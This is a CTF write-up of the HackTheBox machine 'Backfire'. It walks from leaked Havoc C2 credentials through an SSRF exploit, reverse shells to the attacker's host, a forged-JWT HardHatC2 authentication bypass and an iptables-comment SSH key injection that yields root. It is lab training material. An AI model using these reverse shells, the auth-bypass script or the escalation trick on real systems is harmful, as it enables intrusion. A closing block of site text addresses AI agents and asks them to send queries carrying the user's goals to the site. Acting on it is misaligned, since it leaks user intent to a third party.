> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md).

# Backfire HackTheBox Writeup

Backfire HackTheBox Medium Linux machine writeup covering Information Leakage (Yaotl file), Havoc-C2 Exploitation (Port 40046), SSH Key Creation, Pivoting (User: Sergej), with practical enumeration, e

{% embed url="<https://app.hackthebox.com/machines/643>" %}

{% hint style="warning" %}
**Skills:**

* Information Leakage (Yaotl file)
* Havoc-C2 Exploitation (Port 40046)
* SSH Key Creation
* Pivoting (User: Sergej)
* HardHat Exploitation (Port 7096)
  * HardHat - Bypass Authentication
  * HardHat - Remote Code Execution
* Sudo Privilege Escalation (IPTables)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b457757f3bcb186fcf2ebb56d3268444d559b18%2Fimage%20(2802).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea0cb9dff725574947860a59636e55b1683be2ca%2Fimage%20(2803).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.49 -oN allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4189bc15a0f9b5f94e0c44db18d2d46a673ce38d%2Fimage%20(2804).png?alt=media" alt=""><figcaption></figcaption></figure>

Port version scan with Nmap: (22,443,8000)

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,443,8000 10.10.11.49 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8d509c6f1fac959e9d982eb077af49bf720dd16%2Fimage%20(2805).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 8000

On port 8000, we find two interesting files:

* `disable_tls.path`
* `havoc.yaotl`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d637db333b0142e70eeb0e589e2ee5c9ab02716%2Fimage%20(2806).png?alt=media" alt=""><figcaption></figcaption></figure>

The **havoc.yaotl** file contains two users with their passwords and a domain name:

* **ilya:** `CobaltStr1keSuckz!`
* **sergej:** `1w4nt2sw1tch2h4rdh4tc2`
* **Host:** `backfire.htb`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9b4c8182562c6f1a7d8db0c9887e9f028bf69b8%2Fimage%20(2807).png?alt=media" alt=""><figcaption></figcaption></figure>

We add this hostname in our `/etc/hosts` file for easier access.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d24389214e3dd2b2d7b62469f4d1d780c3df6f98%2Fimage%20(2808).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

The **disable/ tls.path** file contains a patch to disable TLS on the WebSocket management port (40056) in Havoc. This patch replace "wss\://" with "ws\://" and removes the SSL configuration for both client and server. The author justifies this change by specifying that this port only accepts local connections via SSH forwarding, these reducing security risks. This patch also seems to be an irony on user **sergej**'s quick of work.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ed0792c2a07f1a098e7797ea18f330bc21cf366%2Fimage%20(2809).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 40046 Havoc-C2

{% embed url="<https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE>" %}

To exploit the SSRF vulnerability in Havoc, we create a `payload.sh` file containing the following code:

```bash
#!/bin/bash
 
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```

Next, we set up a web server to host our payload with the following command:

```bash
python3 -m http.server 80
```

We then listen on port 4444 with netcat to receive the reverse connection:

```bash
nc -nlvp 4444
```

We modify the script to include the relevant information, then run the exploit via the following command:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-27bbaf425615b1e5807105d649119bd1d12079d3%2Fimage%20(2811).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```

**User access:**

The user **ilya** allows you to connect to the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e403769a45e757eb7bc109a5a1c37c9de35f805f%2Fimage%20(2810).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Terminal Stabilization

<pre class="language-bash"><code class="lang-bash">script /dev/null -c bash
Press `Ctrl+Z`, then stabilize the terminal:

stty raw -echo; fg
reset xterm
export TERM=xterm
<strong>export SHELL=bash
</strong>stty rows 44 columns 184
</code></pre>

### Flag user.txt

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f64e4a0a988189e5538d26df71df4c255364c03c%2F%7BAE475101-4396-469A-BA85-F8A3B0B55636%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

We observe that a cron job evicts our session every 2 minutes. To work around this problem, we will create SSH keys.

### **Creating SSH keys:**

We generate a new SSH key using the following command:

{% code overflow="wrap" %}

```bash
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c2740a2f43a6580f4ff9e309fa72bd8144a266d2%2F%7BAA9D8671-4A32-4556-A9F3-3289AB78EC50%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We then modify the `authorized_keys` file to add our public key:

{% code overflow="wrap" %}

```bash
echo "YOU KEY" | tee -a ~/.ssh/authorized_keys
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec5429114c050882e680623d6a134b5dc2d2be4d%2Fimage%20(761).png?alt=media" alt=""><figcaption></figcaption></figure>

We then connect to the target machine using SSH:

```bash
ssh ilya@backfire.htb
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bdac85c1ed44e0ea8bc1b51831e411ba36fc7ce%2Fimage%20(762).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Pivot to user Sergej**

In the directory of user `ilya`, we find a file `hardhat.txt` containing the following message:

> Sergej said he installed HardHatC2 for testing and didn't change the default settings. I hope he prefers Havoc because I don't want to learn another framework C2, and Go

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1491e94247bc2265d786e5d983706ac2772dc689%2Fimage%20(763).png?alt=media" alt=""><figcaption></figcaption></figure>

We examine the internal ports with the `netstat` command:

```bash
netstat -tuln
```

Ports 5000 and 7096 seem particularly interesting.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54a6c1f30fc88ef52a4bee47bba5da0ab56cf9fd%2Fimage%20(764).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port forwarding :**

We perform port forwarding with SSH to access internal services:

```bash
ssh -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@backfire.htb
```

## **Port 7096 - HardHatC2 CMS :**

On port 7096 we find the HardHat CMS.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-648d7140acb8f4d9f62dc5e75cb0a0d3f19cde0d%2F%7BCAF9B213-D2BF-438F-920E-62388C3679DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **HardHat C2 Authentication Bypass**

{% embed url="<https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7>" %}

We use the following script to bypass authentication and create a new user:

```python
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = '127.0.0.1:5000'  
  
# Craft Admin JWT  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
"sub": "HardHat_Admin",  
"jti": str(uuid.uuid4()),  
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
"iss": issuer,  
"aud": issuer,  
"iat": int(now.timestamp()),  
"exp": int(expiration.timestamp()),  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("Generated JWT:")  
print(token)  
  
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
burp0_json = {  
"password": "jordan12345",  
"role": "TeamLead",  
"username": "jordan"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)
```

The script generates user `jordan` with role `TeamLead`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a1db69b99033eff3c215e061f76a63c1c5f4fb5a%2Fimage%20(766).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6b4b36c2dc06cccfc02bd605d6ca7a015712f0e%2F%7BE9238EDA-497D-4012-8749-D86F6DDA1C96%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Hardhat C2 (RCE)

On the `ImplantInteract` part, we have access to a terminal. Running the `whoami` command, we see that we are logged in as user `sergej`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59dae93c624c55c8b845a3076976e7e264550385%2Fimage%20(767).png?alt=media" alt=""><figcaption></figcaption></figure>

We establish a reverse shell for user `sergej` by listening on port 443:

```bash
nc -nlvp 443
```

And let's run the following command to make the reverse connection

```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```

Once connected, we add our SSH key to `authorized_keys` to be able to easily reconnect:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0289721a6b2facd2b2bac8500a42a90c8a7dc208%2F%7B5CF0CBAF-AF14-482B-B5CD-78B0329A1283%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

```bash
echo "your key" | tee -a ~/.ssh/authorized_keys
```

## **Privilege Escalation :**

### **Sudo - IP-Tables**

**Checking sudo rights**

We start by checking the sudo rights available on the machine:

```bash
sudo -l
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3846c43712ec9d11935cc06856e7761778720d9f%2F%7B17667C7C-F156-4A91-BD54-F52F5758E629%7D.png?alt=media" alt="" width="556"><figcaption></figcaption></figure>

We discover that the user has `sudo` rights without password for the following commands:

* `/usr/sbin/iptables`
* `/usr/sbin/iptables-save`

**Generating an SSH key pair**

We generate an SSH key pair to inject our public key into root's authentication files:

```bash
ssh-keygen  -t ed25519
```

Here is the generated public key:

{% code overflow="wrap" %}

```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot
```

{% endcode %}

**Public key injection into iptables**

We use the `--comment` field of `iptables` to inject our public key into a rule

{% code overflow="wrap" %}

```bash
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot/n'
```

{% endcode %}

We check that the rule has been added:

```bash
 sudo /usr/sbin/iptables -L
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40fb66e37e539448f1abd0c579cf03085bf47ba1%2Fimage%20(439).png?alt=media" alt=""><figcaption></figcaption></figure>

**Save in authorized/\_keys file**

We save the iptables rules in a file which will be used as the root user's `authorized_keys` file:

```bash
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys2
```

**Login as root**

Finally, we can connect via SSH as root:

```bash
ssh root@backfire.htb
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d08641cf04402447d8ed74f1f788063d8f364c0%2Fimage%20(440).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-beedb7f9cb4d90d3742975bd5d8ebb27a5a3460e%2Fimage%20(441).png?alt=media" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
